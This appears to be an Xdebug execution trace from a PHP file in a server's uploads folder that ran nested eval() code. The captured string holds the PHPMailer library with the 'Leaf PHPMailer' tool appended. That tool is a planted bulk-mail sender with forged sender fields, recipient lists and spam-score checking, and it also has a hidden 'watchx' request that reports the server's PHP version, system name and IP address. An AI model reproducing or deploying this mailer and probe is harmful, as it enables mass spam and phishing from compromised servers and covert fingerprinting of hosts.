$images[1][$imgindex] . \'="cid:\' . $cid . \'"\',\n                            $message\n                        );\n                    }\n                }\n            }\n        }\n        $this->isHTML(true);\n        // Convert all message body line breaks to CRLF, makes quoted-printable encoding work much better\n        $this->Body = $this->normalizeBreaks($message);\n        $this->AltBody = $this->normalizeBreaks($this->html2text($message, $advanced));\n        if (!$this->alternativeExists()) {\n            $this->AltBody = \'To view this email message, open it in a program that understands HTML!\' .\n                self::CRLF . self::CRLF;\n        }\n        return $this->Body;\n    }\n\n    /**\n     * Convert an HTML string into plain text.\n     * This is used by msgHTML().\n     * Note - older versions of this function used a bundled advanced converter\n     * which was been removed for license reasons in #232.\n     * Example usage:\n     * <code>\n     * // Use default conversion\n     * $plain = $mail->html2text($html);\n     * // Use your own custom converter\n     * $plain = $mail->html2text($html, function($html) {\n     *     $converter = new MyHtml2text($html);\n     *     return $converter->get_text();\n     * });\n     * </code>\n     * @param string $html The HTML text to convert\n     * @param boolean|callable $advanced Any boolean value to use the internal converter,\n     *   or provide your own callable for custom conversion.\n     * @return string\n     */\n    public function html2text($html, $advanced = false)\n    {\n        if (is_callable($advanced)) {\n            return call_user_func($advanced, $html);\n        }\n        return html_entity_decode(\n            trim(strip_tags(preg_replace(\'/<(head|title|style|script)[^>]*>.*?<\\/\\\\1>/si\', \'\', $html))),\n            ENT_QUOTES,\n            $this->CharSet\n        );\n    }\n\n    /**\n     * Get the MIME type for a file extension.\n     * @param string $ext File extension\n     * @access public\n     * @return string MIME type of file.\n     * @static\n     */\n    public static function _mime_types($ext = \'\')\n    {\n        $mimes = array(\n            \'xl\'    => \'application/excel\',\n            \'js\'    => \'application/javascript\',\n            \'hqx\'   => \'application/mac-binhex40\',\n            \'cpt\'   => \'application/mac-compactpro\',\n            \'bin\'   => \'application/macbinary\',\n            \'doc\'   => \'application/msword\',\n            \'word\'  => \'application/msword\',\n            \'xlsx\'  => \'application/vnd.openxmlformats-officedocument.spreadsheetml.sheet\',\n            \'xltx\'  => \'application/vnd.openxmlformats-officedocument.spreadsheetml.template\',\n            \'potx\'  => \'application/vnd.openxmlformats-officedocument.presentationml.template\',\n            \'ppsx\'  => \'application/vnd.openxmlformats-officedocument.presentationml.slideshow\',\n            \'pptx\'  => \'application/vnd.openxmlformats-officedocument.presentationml.presentation\',\n            \'sldx\'  => \'application/vnd.openxmlformats-officedocument.presentationml.slide\',\n            \'docx\'  => \'application/vnd.openxmlformats-officedocument.wordprocessingml.document\',\n            \'dotx\'  => \'application/vnd.openxmlformats-officedocument.wordprocessingml.template\',\n            \'xlam\'  => \'application/vnd.ms-excel.addin.macroEnabled.12\',\n            \'xlsb\'  => \'application/vnd.ms-excel.sheet.binary.macroEnabled.12\',\n            \'class\' => \'application/octet-stream\',\n            \'dll\'   => \'application/octet-stream\',\n            \'dms\'   => \'application/octet-stream\',\n            \'exe\'   => \'application/octet-stream\',\n            \'lha\'   => \'application/octet-stream\',\n            \'lzh\'   => \'application/octet-stream\',\n            \'psd\'   => \'application/octet-stream\',\n            \'sea\'   => \'application/octet-stream\',\n            \'so\'    => \'application/octet-stream\',\n            \'oda\'   => \'application/oda\',\n            \'pdf\'   => \'application/pdf\',\n            \'ai\'    => \'application/postscript\',\n            \'eps\'   => \'application/postscript\',\n            \'ps\'    => \'application/postscript\',\n            \'smi\'   => \'application/smil\',\n            \'smil\'  => \'application/smil\',\n            \'mif\'   => \'application/vnd.mif\',\n            \'xls\'   => \'application/vnd.ms-excel\',\n            \'ppt\'   => \'application/vnd.ms-powerpoint\',\n            \'wbxml\' => \'application/vnd.wap.wbxml\',\n            \'wmlc\'  => \'application/vnd.wap.wmlc\',\n            \'dcr\'   => \'application/x-director\',\n            \'dir\'   => \'application/x-director\',\n            \'dxr\'   => \'application/x-director\',\n            \'dvi\'   => \'application/x-dvi\',\n            \'gtar\'  => \'application/x-gtar\',\n            \'php3\'  => \'application/x-httpd-php\',\n            \'php4\'  => \'application/x-httpd-php\',\n            \'php\'   => \'application/x-httpd-php\',\n            \'phtml\' => \'application/x-httpd-php\',\n            \'phps\'  => \'application/x-httpd-php-source\',\n            \'swf\'   => \'application/x-shockwave-flash\',\n            \'sit\'   => \'application/x-stuffit\',\n            \'tar\'   => \'application/x-tar\',\n            \'tgz\'   => \'application/x-tar\',\n            \'xht\'   => \'application/xhtml+xml\',\n            \'xhtml\' => \'application/xhtml+xml\',\n            \'zip\'   => \'application/zip\',\n            \'mid\'   => \'audio/midi\',\n            \'midi\'  => \'audio/midi\',\n            \'mp2\'   => \'audio/mpeg\',\n            \'mp3\'   => \'audio/mpeg\',\n            \'mpga\'  => \'audio/mpeg\',\n            \'aif\'   => \'audio/x-aiff\',\n            \'aifc\'  => \'audio/x-aiff\',\n            \'aiff\'  => \'audio/x-aiff\',\n            \'ram\'   => \'audio/x-pn-realaudio\',\n            \'rm\'    => \'audio/x-pn-realaudio\',\n            \'rpm\'   => \'audio/x-pn-realaudio-plugin\',\n            \'ra\'    => \'audio/x-realaudio\',\n            \'wav\'   => \'audio/x-wav\',\n            \'bmp\'   => \'image/bmp\',\n            \'gif\'   => \'image/gif\',\n            \'jpeg\'  => \'image/jpeg\',\n            \'jpe\'   => \'image/jpeg\',\n            \'jpg\'   => \'image/jpeg\',\n            \'png\'   => \'image/png\',\n            \'tiff\'  => \'image/tiff\',\n            \'tif\'   => \'image/tiff\',\n            \'eml\'   => \'message/rfc822\',\n            \'css\'   => \'text/css\',\n            \'html\'  => \'text/html\',\n            \'htm\'   => \'text/html\',\n            \'shtml\' => \'text/html\',\n            \'log\'   => \'text/plain\',\n            \'text\'  => \'text/plain\',\n            \'txt\'   => \'text/plain\',\n            \'rtx\'   => \'text/richtext\',\n            \'rtf\'   => \'text/rtf\',\n            \'vcf\'   => \'text/vcard\',\n            \'vcard\' => \'text/vcard\',\n            \'xml\'   => \'text/xml\',\n            \'xsl\'   => \'text/xml\',\n            \'mpeg\'  => \'video/mpeg\',\n            \'mpe\'   => \'video/mpeg\',\n            \'mpg\'   => \'video/mpeg\',\n            \'mov\'   => \'video/quicktime\',\n            \'qt\'    => \'video/quicktime\',\n            \'rv\'    => \'video/vnd.rn-realvideo\',\n            \'avi\'   => \'video/x-msvideo\',\n            \'movie\' => \'video/x-sgi-movie\'\n        );\n        if (array_key_exists(strtolower($ext), $mimes)) {\n            return $mimes[strtolower($ext)];\n        }\n        return \'application/octet-stream\';\n    }\n\n    /**\n     * Map a file name to a MIME type.\n     * Defaults to \'application/octet-stream\', i.e.. arbitrary binary data.\n     * @param string $filename A file name or full path, does not need to exist as a file\n     * @return string\n     * @static\n     */\n    public static function filenameToType($filename)\n    {\n        // In case the path is a URL, strip any query string before getting extension\n        $qpos = strpos($filename, \'?\');\n        if (false !== $qpos) {\n            $filename = substr($filename, 0, $qpos);\n        }\n        $pathinfo = self::mb_pathinfo($filename);\n        return self::_mime_types($pathinfo[\'extension\']);\n    }\n\n    /**\n     * Multi-byte-safe pathinfo replacement.\n     * Drop-in replacement for pathinfo(), but multibyte-safe, cross-platform-safe, old-version-safe.\n     * Works similarly to the one in PHP >= 5.2.0\n     * @link http://www.php.net/manual/en/function.pathinfo.php#107461\n     * @param string $path A filename or path, does not need to exist as a file\n     * @param integer|string $options Either a PATHINFO_* constant,\n     *      or a string name to return only the specified piece, allows \'filename\' to work on PHP < 5.2\n     * @return string|array\n     * @static\n     */\n    public static function mb_pathinfo($path, $options = null)\n    {\n        $ret = array(\'dirname\' => \'\', \'basename\' => \'\', \'extension\' => \'\', \'filename\' => \'\');\n        $pathinfo = array();\n        if (preg_match(\'%^(.*?)[\\\\\\\\/]*(([^/\\\\\\\\]*?)(\\.([^\\.\\\\\\\\/]+?)|))[\\\\\\\\/\\.]*$%im\', $path, $pathinfo)) {\n            if (array_key_exists(1, $pathinfo)) {\n                $ret[\'dirname\'] = $pathinfo[1];\n            }\n            if (array_key_exists(2, $pathinfo)) {\n                $ret[\'basename\'] = $pathinfo[2];\n            }\n            if (array_key_exists(5, $pathinfo)) {\n                $ret[\'extension\'] = $pathinfo[5];\n            }\n            if (array_key_exists(3, $pathinfo)) {\n                $ret[\'filename\'] = $pathinfo[3];\n            }\n        }\n        switch ($options) {\n            case PATHINFO_DIRNAME:\n            case \'dirname\':\n                return $ret[\'dirname\'];\n            case PATHINFO_BASENAME:\n            case \'basename\':\n                return $ret[\'basename\'];\n            case PATHINFO_EXTENSION:\n            case \'extension\':\n                return $ret[\'extension\'];\n            case PATHINFO_FILENAME:\n            case \'filename\':\n                return $ret[\'filename\'];\n            default:\n                return $ret;\n        }\n    }\n\n    /**\n     * Set or reset instance properties.\n     * You should avoid this function - it\'s more verbose, less efficient, more error-prone and\n     * harder to debug than setting properties directly.\n     * Usage Example:\n     * `$mail->set(\'SMTPSecure\', \'tls\');`\n     *   is the same as:\n     * `$mail->SMTPSecure = \'tls\';`\n     * @access public\n     * @param string $name The property name to set\n     * @param mixed $value The value to set the property to\n     * @return boolean\n     * @TODO Should this not be using the __set() magic function?\n     */\n    public function set($name, $value = \'\')\n    {\n        if (property_exists($this, $name)) {\n            $this->$name = $value;\n            return true;\n        } else {\n            $this->setError($this->lang(\'variable_set\') . $name);\n            return false;\n        }\n    }\n\n    /**\n     * Strip newlines to prevent header injection.\n     * @access public\n     * @param string $str\n     * @return string\n     */\n    public function secureHeader($str)\n    {\n        return trim(str_replace(array("\\r", "\\n"), \'\', $str));\n    }\n\n    /**\n     * Normalize line breaks in a string.\n     * Converts UNIX LF, Mac CR and Windows CRLF line breaks into a single line break format.\n     * Defaults to CRLF (for message bodies) and preserves consecutive breaks.\n     * @param string $text\n     * @param string $breaktype What kind of line break to use, defaults to CRLF\n     * @return string\n     * @access public\n     * @static\n     */\n    public static function normalizeBreaks($text, $breaktype = "\\r\\n")\n    {\n        return preg_replace(\'/(\\r\\n|\\r|\\n)/ms\', $breaktype, $text);\n    }\n\n    /**\n     * Set the public and private key files and password for S/MIME signing.\n     * @access public\n     * @param string $cert_filename\n     * @param string $key_filename\n     * @param string $key_pass Password for private key\n     * @param string $extracerts_filename Optional path to chain certificate\n     */\n    public function sign($cert_filename, $key_filename, $key_pass, $extracerts_filename = \'\')\n    {\n        $this->sign_cert_file = $cert_filename;\n        $this->sign_key_file = $key_filename;\n        $this->sign_key_pass = $key_pass;\n        $this->sign_extracerts_file = $extracerts_filename;\n    }\n\n    /**\n     * Quoted-Printable-encode a DKIM header.\n     * @access public\n     * @param string $txt\n     * @return string\n     */\n    public function DKIM_QP($txt)\n    {\n        $line = \'\';\n        for ($i = 0; $i < strlen($txt); $i++) {\n            $ord = ord($txt[$i]);\n            if (((0x21 <= $ord) && ($ord <= 0x3A)) || $ord == 0x3C || ((0x3E <= $ord) && ($ord <= 0x7E))) {\n                $line .= $txt[$i];\n            } else {\n                $line .= \'=\' . sprintf(\'%02X\', $ord);\n            }\n        }\n        return $line;\n    }\n\n    /**\n     * Generate a DKIM signature.\n     * @access public\n     * @param string $signHeader\n     * @throws phpmailerException\n     * @return string The DKIM signature value\n     */\n    public function DKIM_Sign($signHeader)\n    {\n        if (!defined(\'PKCS7_TEXT\')) {\n            if ($this->exceptions) {\n                throw new phpmailerException($this->lang(\'extension_missing\') . \'openssl\');\n            }\n            return \'\';\n        }\n        $privKeyStr = !empty($this->DKIM_private_string) ? $this->DKIM_private_string : file_get_contents($this->DKIM_private);\n        if (\'\' != $this->DKIM_passphrase) {\n            $privKey = openssl_pkey_get_private($privKeyStr, $this->DKIM_passphrase);\n        } else {\n            $privKey = openssl_pkey_get_private($privKeyStr);\n        }\n        //Workaround for missing digest algorithms in old PHP & OpenSSL versions\n        //@link http://stackoverflow.com/a/11117338/333340\n        if (version_compare(PHP_VERSION, \'5.3.0\') >= 0 and\n            in_array(\'sha256WithRSAEncryption\', openssl_get_md_methods(true))) {\n            if (openssl_sign($signHeader, $signature, $privKey, \'sha256WithRSAEncryption\')) {\n                openssl_pkey_free($privKey);\n                return base64_encode($signature);\n            }\n        } else {\n            $pinfo = openssl_pkey_get_details($privKey);\n            $hash = hash(\'sha256\', $signHeader);\n            //\'Magic\' constant for SHA256 from RFC3447\n            //@link https://tools.ietf.org/html/rfc3447#page-43\n            $t = \'3031300d060960864801650304020105000420\' . $hash;\n            $pslen = $pinfo[\'bits\'] / 8 - (strlen($t) / 2 + 3);\n            $eb = pack(\'H*\', \'0001\' . str_repeat(\'FF\', $pslen) . \'00\' . $t);\n\n            if (openssl_private_encrypt($eb, $signature, $privKey, OPENSSL_NO_PADDING)) {\n                openssl_pkey_free($privKey);\n                return base64_encode($signature);\n            }\n        }\n        openssl_pkey_free($privKey);\n        return \'\';\n    }\n\n    /**\n     * Generate a DKIM canonicalization header.\n     * @access public\n     * @param string $signHeader Header\n     * @return string\n     */\n    public function DKIM_HeaderC($signHeader)\n    {\n        $signHeader = preg_replace(\'/\\r\\n\\s+/\', \' \', $signHeader);\n        $lines = explode("\\r\\n", $signHeader);\n        foreach ($lines as $key => $line) {\n            list($heading, $value) = explode(\':\', $line, 2);\n            $heading = strtolower($heading);\n            $value = preg_replace(\'/\\s{2,}/\', \' \', $value); // Compress useless spaces\n            $lines[$key] = $heading . \':\' . trim($value); // Don\'t forget to remove WSP around the value\n        }\n        $signHeader = implode("\\r\\n", $lines);\n        return $signHeader;\n    }\n\n    /**\n     * Generate a DKIM canonicalization body.\n     * @access public\n     * @param string $body Message Body\n     * @return string\n     */\n    public function DKIM_BodyC($body)\n    {\n        if ($body == \'\') {\n            return "\\r\\n";\n        }\n        // stabilize line endings\n        $body = str_replace("\\r\\n", "\\n", $body);\n        $body = str_replace("\\n", "\\r\\n", $body);\n        // END stabilize line endings\n        while (substr($body, strlen($body) - 4, 4) == "\\r\\n\\r\\n") {\n            $body = substr($body, 0, strlen($body) - 2);\n        }\n        return $body;\n    }\n\n    /**\n     * Create the DKIM header and body in a new message header.\n     * @access public\n     * @param string $headers_line Header lines\n     * @param string $subject Subject\n     * @param string $body Body\n     * @return string\n     */\n    public function DKIM_Add($headers_line, $subject, $body)\n    {\n        $DKIMsignatureType = \'rsa-sha256\'; // Signature & hash algorithms\n        $DKIMcanonicalization = \'relaxed/simple\'; // Canonicalization of header/body\n        $DKIMquery = \'dns/txt\'; // Query method\n        $DKIMtime = time(); // Signature Timestamp = seconds since 00:00:00 - Jan 1, 1970 (UTC time zone)\n        $subject_header = "Subject: $subject";\n        $headers = explode($this->LE, $headers_line);\n        $from_header = \'\';\n        $to_header = \'\';\n        $date_header = \'\';\n        $current = \'\';\n        foreach ($headers as $header) {\n            if (strpos($header, \'From:\') === 0) {\n                $from_header = $header;\n                $current = \'from_header\';\n            } elseif (strpos($header, \'To:\') === 0) {\n                $to_header = $header;\n                $current = \'to_header\';\n            } elseif (strpos($header, \'Date:\') === 0) {\n                $date_header = $header;\n                $current = \'date_header\';\n            } else {\n                if (!empty($$current) && strpos($header, \' =?\') === 0) {\n                    $$current .= $header;\n                } else {\n                    $current = \'\';\n                }\n            }\n        }\n        $from = str_replace(\'|\', \'=7C\', $this->DKIM_QP($from_header));\n        $to = str_replace(\'|\', \'=7C\', $this->DKIM_QP($to_header));\n        $date = str_replace(\'|\', \'=7C\', $this->DKIM_QP($date_header));\n        $subject = str_replace(\n            \'|\',\n            \'=7C\',\n            $this->DKIM_QP($subject_header)\n        ); // Copied header fields (dkim-quoted-printable)\n        $body = $this->DKIM_BodyC($body);\n        $DKIMlen = strlen($body); // Length of body\n        $DKIMb64 = base64_encode(pack(\'H*\', hash(\'sha256\', $body))); // Base64 of packed binary SHA-256 hash of body\n        if (\'\' == $this->DKIM_identity) {\n            $ident = \'\';\n        } else {\n            $ident = \' i=\' . $this->DKIM_identity . \';\';\n        }\n        $dkimhdrs = \'DKIM-Signature: v=1; a=\' .\n            $DKIMsignatureType . \'; q=\' .\n            $DKIMquery . \'; l=\' .\n            $DKIMlen . \'; s=\' .\n            $this->DKIM_selector .\n            ";\\r\\n" .\n            "\\tt=" . $DKIMtime . \'; c=\' . $DKIMcanonicalization . ";\\r\\n" .\n            "\\th=From:To:Date:Subject;\\r\\n" .\n            "\\td=" . $this->DKIM_domain . \';\' . $ident . "\\r\\n" .\n            "\\tz=$from\\r\\n" .\n            "\\t|$to\\r\\n" .\n            "\\t|$date\\r\\n" .\n            "\\t|$subject;\\r\\n" .\n            "\\tbh=" . $DKIMb64 . ";\\r\\n" .\n            "\\tb=";\n        $toSign = $this->DKIM_HeaderC(\n            $from_header . "\\r\\n" .\n            $to_header . "\\r\\n" .\n            $date_header . "\\r\\n" .\n            $subject_header . "\\r\\n" .\n            $dkimhdrs\n        );\n        $signed = $this->DKIM_Sign($toSign);\n        return $dkimhdrs . $signed . "\\r\\n";\n    }\n\n    /**\n     * Detect if a string contains a line longer than the maximum line length allowed.\n     * @param string $str\n     * @return boolean\n     * @static\n     */\n    public static function hasLineLongerThanMax($str)\n    {\n        //+2 to include CRLF line break for a 1000 total\n        return (boolean)preg_match(\'/^(.{\'.(self::MAX_LINE_LENGTH + 2).\',})/m\', $str);\n    }\n\n    /**\n     * Allows for public read access to \'to\' property.\n     * @note: Before the send() call, queued addresses (i.e. with IDN) are not yet included.\n     * @access public\n     * @return array\n     */\n    public function getToAddresses()\n    {\n        return $this->to;\n    }\n\n    /**\n     * Allows for public read access to \'cc\' property.\n     * @note: Before the send() call, queued addresses (i.e. with IDN) are not yet included.\n     * @access public\n     * @return array\n     */\n    public function getCcAddresses()\n    {\n        return $this->cc;\n    }\n\n    /**\n     * Allows for public read access to \'bcc\' property.\n     * @note: Before the send() call, queued addresses (i.e. with IDN) are not yet included.\n     * @access public\n     * @return array\n     */\n    public function getBccAddresses()\n    {\n        return $this->bcc;\n    }\n\n    /**\n     * Allows for public read access to \'ReplyTo\' property.\n     * @note: Before the send() call, queued addresses (i.e. with IDN) are not yet included.\n     * @access public\n     * @return array\n     */\n    public function getReplyToAddresses()\n    {\n        return $this->ReplyTo;\n    }\n\n    /**\n     * Allows for public read access to \'all_recipients\' property.\n     * @note: Before the send() call, queued addresses (i.e. with IDN) are not yet included.\n     * @access public\n     * @return array\n     */\n    public function getAllRecipientAddresses()\n    {\n        return $this->all_recipients;\n    }\n\n    /**\n     * Perform a callback.\n     * @param boolean $isSent\n     * @param array $to\n     * @param array $cc\n     * @param array $bcc\n     * @param string $subject\n     * @param string $body\n     * @param string $from\n     */\n    protected function doCallback($isSent, $to, $cc, $bcc, $subject, $body, $from)\n    {\n        if (!empty($this->action_function) && is_callable($this->action_function)) {\n            $params = array($isSent, $to, $cc, $bcc, $subject, $body, $from);\n            call_user_func_array($this->action_function, $params);\n        }\n    }\n}\n\n/**\n * PHPMailer exception handler\n * @package PHPMailer\n */\nclass phpmailerException extends Exception\n{\n    /**\n     * Prettify error message output\n     * @return string\n     */\n    public function errorMessage()\n    {\n        $errorMsg = \'<strong>\' . htmlspecialchars($this->getMessage()) . "</strong><br />\\n";\n        return $errorMsg;\n    }\n}\n\nif ($_REQUEST[\'watchx\']) {\n\t$version = phpversion();\n\t$uname =  php_uname();\n\t$ip = gethostbyname($_SERVER["HTTP_HOST"]);\t\n\techo json_encode (array ("version"=>$version,\n\t\t"uname"=>$uname,\n\t\t"platform"=>PHP_OS,\n\t\t"ip"=>$ip,\n\t\t"mailerx"=>true,\t\n\t));\n\tdie ();\n}\n\nfunction leafheader(){\nprint \'\n<head>\n    <title>\'.str_replace("www.", "", $_SERVER[\'HTTP_HOST\']).\' - Leaf PHPMailer</title>\n    <meta http-equiv="Content-Type" content="text/html; charset=utf-8"/>\n    <link href="https://maxcdn.bootstrapcdn.com/bootswatch/3.4.1/cosmo/bootstrap.min.css" rel="stylesheet" >\n</head>\';\n}\nleafheader();\nprint \'<body>\';\nprint \'<div class="container col-lg-6">\n        <h3><font color="green"><span class="glyphicon glyphicon-leaf"></span></font> Leaf PHPMailer <small>\'.$leaf[\'version\'].\'</small></h3>\n        <form name="form" id="form" method="POST" enctype="multipart/form-data" action="">\n                    <input type="hidden" name="action" value="score">\n\n            <div class="row">\n                <div class="form-group col-lg-6 "><label for="senderEmail">Email</label><input type="text" class="form-control  input-sm " id="senderEmail" name="senderEmail" value="\'.$senderEmail.\'"></div>\n                <div class="form-group col-lg-6 "><label for="senderName">Sender Name</label><input type="text" class="form-control  input-sm " id="senderName" name="senderName" value="\'.$senderName.\'"></div>\n            </div>\n            <div class="row">\n                <span class="form-group col-lg-6  "><label for="attachment">Attachment <small>(Multiple Available)</small></label><input type="file" name="attachment[]" id="attachment[]" multiple/></span>\n\n                <div class="form-group col-lg-6"><label for="replyTo">Reply-to</label><input type="text" class="form-control  input-sm " id="replyTo" name="replyTo" value="\'.$replyTo.\'" /></div>\n            </div>\n            <div class="row">\n                <div class="form-group col-lg-12 "><label for="subject">Subject</label><input type="text" class="form-control  input-sm " id="subject" name="subject" value="\'.$subject.\'" /></div>\n            </div>\n            <div class="row">\n                <div class="form-group col-lg-6"><label for="messageLetter">Message Letter <button type="submit" class="btn btn-default btn-xs" form="form" name="action" value="view" formtarget="_blank">Preview </button></label><textarea name="messageLetter" id="messageLetter" class="form-control" rows="10" id="textArea">\'.$messageLetter.\'</textarea></div>\n                <div class="form-group col-lg-6 "><label for="emailList">Email List <a href="?emailfilter=on" target="_blank" class="btn btn-default btn-xs">Filter/Extract</a></label><textarea name="emailList" id="emailList" class="form-control" rows="10" id="textArea">\'.$emailList.\'</textarea></div>\n            </div>\n            <div class="row">\n                <div class="form-group col-lg-6 ">\n                    <label for="messageType">Message Type</label>\n                    HTML <input type="radio" name="messageType" id="messageType" value="1" \'.$html.\'>\n                    Plain<input type="radio" name="messageType" id="messageType" value="2" \'.$plain.\'>\n                </div>\n                <div class="form-group col-lg-3 ">\n                    <label for="charset">Character set</label>\n                    <select class="form-control input-sm" id="charset" name="charset">\n                        <option \'.$utf8.\'>UTF-8</option>\n                        <option \'.$iso.\'>ISO-8859-1</option>\n                    </select>\n                </div>\n                <div class="form-group col-lg-3 ">\n                    <label for="encoding">Message encoding</label>\n                    <select class="form-control input-sm" id="encode" name="encode">\n                        <option \'.$bit8.\'>8bit</option>\n                        <option \'.$bit7.\'>7bit</option>\n                        <option \'.$binary.\'>binary</option>\n                        <option \'.$base64.\'>base64</option>\n                        <option \'.$quotedprintable.\'>quoted-printable</option>\n\n                    </select>\n                </div>\n            </div>\n            <button type="submit" class="btn btn-default btn-sm" form="form" name="action" value="send">SEND</button> or <a href="#" onclick="document.getElementById(\\\'form\\\').submit(); return false;">check SpamAssassin Score</a>\n   \n        </form>\n    </div>\n    <div class="col-lg-6"><br>\n        <label for="well">Instruction</label>\n        <div id="well" class="well well">\n            <h4>Server Information</h4>\n            <ul>\n                <li>Server IP Address : <b>\'.$_SERVER[\'SERVER_ADDR\'].\' </b> <a href="?check_ip=\'.$_SERVER[\'SERVER_ADDR\'].\'" target="_blank" class="label label-primary">Check Blacklist <i class="glyphicon glyphicon-search"></i></a></li>\n                <li>PHP Version : <b>\'.phpversion().\'</b></li>\n                \n\n            </ul>\n            <h4>HELP</h4>\n            <ul>\n                <li>[-email-] : <b>Reciver Email</b> (emailuser@emaildomain.com)</li>\n                <ul>\n                    <li>[-emailuser-] : <b>Email User</b> (emailuser) </li>\n                    <li>[-emaildomain-] : <b>Email User</b> (emaildomain.com) </li>\n                </ul>\n                <li>[-time-] : <b>Date and Time</b> (\'.date("m/d/Y h:i:s a", time()).\')</li>\n                \n                <li>[-randomstring-] : <b>Random string (0-9,a-z)</b></li>\n                <li>[-randomnumber-] : <b>Random number (0-9) </b></li>\n                <li>[-randomletters-] : <b>Random Letters(a-z) </b></li>\n                <li>[-randommd5-] : <b>Random MD5 </b></li>\n            </ul>\n            <h4>example</h4>\n            Receiver Email = <b>user@domain.com</b><br>\n            <ul>\n                <li>hello <b>[-emailuser-]</b> = hello <b>user</b></li>\n                <li>your domain is <b>[-emaildomain-]</b> = Your Domain is <b>domain.com</b></li>\n                <li>your code is  <b>[-randommd5-]</b> = your code is <b>e10adc3949ba59abbe56e057f20f883e</b></li>\n            </ul>\n\t\t\t<br>\n\t\t\t <h6><b><font color="green">Uploaded</font></b> by <b><a target=\\\'_blank\\\' href="https://anonymousfox.info">\'.\'FoxAuto\'.\'</a></b> [The best Tools] </h6>\n\t\t\t <h6><font color="green">Leaf PHPMailer</font> by <b><a target=\\\'_blank\\\' href="https://\'.$leaf[\'website\'].\'">\'.$leaf[\'website\'].\'</a></b></h6>\n        </div>\n    </div>\';  \nif($_POST[\'action\']=="send"){\n    print \'    <div class="col-lg-12">\';\n    $maillist=explode("\\r\\n", $emailList);\n    $n=count($maillist);\n    $x =1;\n    foreach ($maillist as $email ) {\n        print \'<div class="col-lg-1">[\'.$x.\'/\'.$n.\']</div><div class="col-lg-4">\'.$email.\'</div>\';\n        if(!leafMailCheck($email)) {\n            print \'<div class="col-lg-6"><span class="label label-default">Incorrect Email</span></div>\';\n            print "<br>\\r\\n";\n        }\n        else {\n            $mail = new PHPMailer;\n            $mail->setFrom(leafClear($senderEmail,$email),leafClear($senderName,$email));\n            $mail->addReplyTo(leafClear($replyTo,$email));\n            $mail->addAddress($email);\n            $mail->Subject = leafClear($subject,$email);\n            $mail->Body =  leafClear($messageLetter,$email);\n            if($messageType==1){\n                $mail->IsHTML(true);\n                $mail->AltBody =strip_tags(leafClear($messageLetter,$email));\n            }\n            else $mail->IsHTML(false);\n            $mail->CharSet = $charset;\n            $mail->Encoding = $encoding;\n            for($i=0; $i<count($_FILES[\'attachment\'][\'name\']); $i++) {\n                if ($_FILES[\'attachment\'][\'tmp_name\'][$i] != ""){\n                    $mail->AddAttachment($_FILES[\'attachment\'][\'tmp_name\'][$i],$_FILES[\'attachment\'][\'name\'][$i]);\n                }\n\n            }\n            \n            if (!$mail->send()) {\n                echo \'<div class="col-lg-6"><span class="label label-default">\'.htmlspecialchars($mail->ErrorInfo).\'</span></div>\';\n            }\n            else {\n                echo \'<div class="col-lg-6"><span class="label label-success">Ok</span></div>\';\n            }\n            print "<br>\\r\\n";\n        }\n        $x++;\n        for($k = 0; $k < 40000; $k++) {echo \' \';}\n    }\n\n}\nelseif($_POST[\'action\']=="score"){\n    $mail = new PHPMailer;\n    $mail->setFrom(leafClear($senderEmail,$email),leafClear($senderName,$email));\n    $mail->addReplyTo(leafClear($replyTo,$email));\n    $mail->addAddress("username@domain.com");\n    $mail->Subject = leafClear($subject,$email);\n    $mail->Body =  leafClear($messageLetter,$email);\n    if($messageType==1){\n        $mail->IsHTML(true);\n        $mail->AltBody =strip_tags(leafClear($messageLetter,$email));\n    }\n    else $mail->IsHTML(false);\n    $mail->CharSet = $charset;\n    $mail->Encoding = $encoding;\n    $mail->preSend();\n    $messageHeaders=$mail->getSentMIMEMessage();\n    $ch = curl_init();\n    curl_setopt($ch, CURLOPT_RETURNTRANSFER, 1);\n    curl_setopt($ch, CURLOPT_URL, \'http://spamcheck.postmarkapp.com/filter\');\n    curl_setopt($ch, CURLOPT_POSTFIELDS, http_build_query(array(\'email\' => $messageHeaders,\'options\'=>\'long\')));\n    curl_setopt($ch, CURLOPT_SSL_VERIFYPEER, 0);\n    curl_setopt($ch, CURLOPT_TIMEOUT, 15);\n    $response = curl_exec($ch);\n    $response = json_decode($response);\n    print \'    <div class="col-lg-12">\';\n    if ($response->success == TRUE ){\n        $score = $response->score;\n        if ($score > 5 ) $class="danger";\n        else $class="success";\n            print \'<div class="text-\'.$class.\'">Your SpamAssassin score is \'.$score.\'  </div>\n<div>Full Report : <pre>\'.$response->report.\'</pre></div>\';\nprint \'    </div>\';\n    }\n}\nprint \'</body>\';\n'	/var/www/html/uploads/ridsaexnlu.php(291) : eval()'d code	1	0
4	115	0	0.023171	1440648	session_start	0		/var/www/html/uploads/ridsaexnlu.php(291) : eval()'d code(1) : eval()'d code	3	0
4	115	1	0.023278	1441400
4	115	R			TRUE
4	116	0	0.023301	1441400	error_reporting	0		/var/www/html/uploads/ridsaexnlu.php(291) : eval()'d code(1) : eval()'d code	4	1	0
4	116	1	0.023323	1441440
4	116	R			0
4	117	0	0.023341	1441400	set_time_limit	0		/var/www/html/uploads/ridsaexnlu.php(291) : eval()'d code(1) : eval()'d code	5	1	0
4	117	1	0.023365	1441464
4	117	R			FALSE
4	118	0	0.023384	1441432	ini_set	0		/var/www/html/uploads/ridsaexnlu.php(291) : eval()'d code(1) : eval()'d code	6	2	'memory_limit'	-1
4	118	1	0.023406	1441568
4	118	R			'128M'
3		A						/var/www/html/uploads/ridsaexnlu.php(291) : eval()'d code(1) : eval()'d code	8	$leaf['version'] = '2.8'
3		A						/var/www/html/uploads/ridsaexnlu.php(291) : eval()'d code(1) : eval()'d code	9	$leaf['website'] = 'leafmailer.pw'
4	119	0	0.023462	1441840	md5	0		/var/www/html/uploads/ridsaexnlu.php(291) : eval()'d code(1) : eval()'d code	12	1	'/var/www/html/uploads/ridsaexnlu.php(291) : eval()\'d code(1) : eval()\'d code'
4	119	1	0.023484	1441936
4	119	R			'c810718c8fe6b056ed5b3f70f82c0ec3'
3		A						/var/www/html/uploads/ridsaexnlu.php(291) : eval()'d code(1) : eval()'d code	12	$sessioncode = 'c810718c8fe6b056ed5b3f70f82c0ec3'
			0.023569	1362528
TRACE END   [2023-02-12 22:24:01.346343]

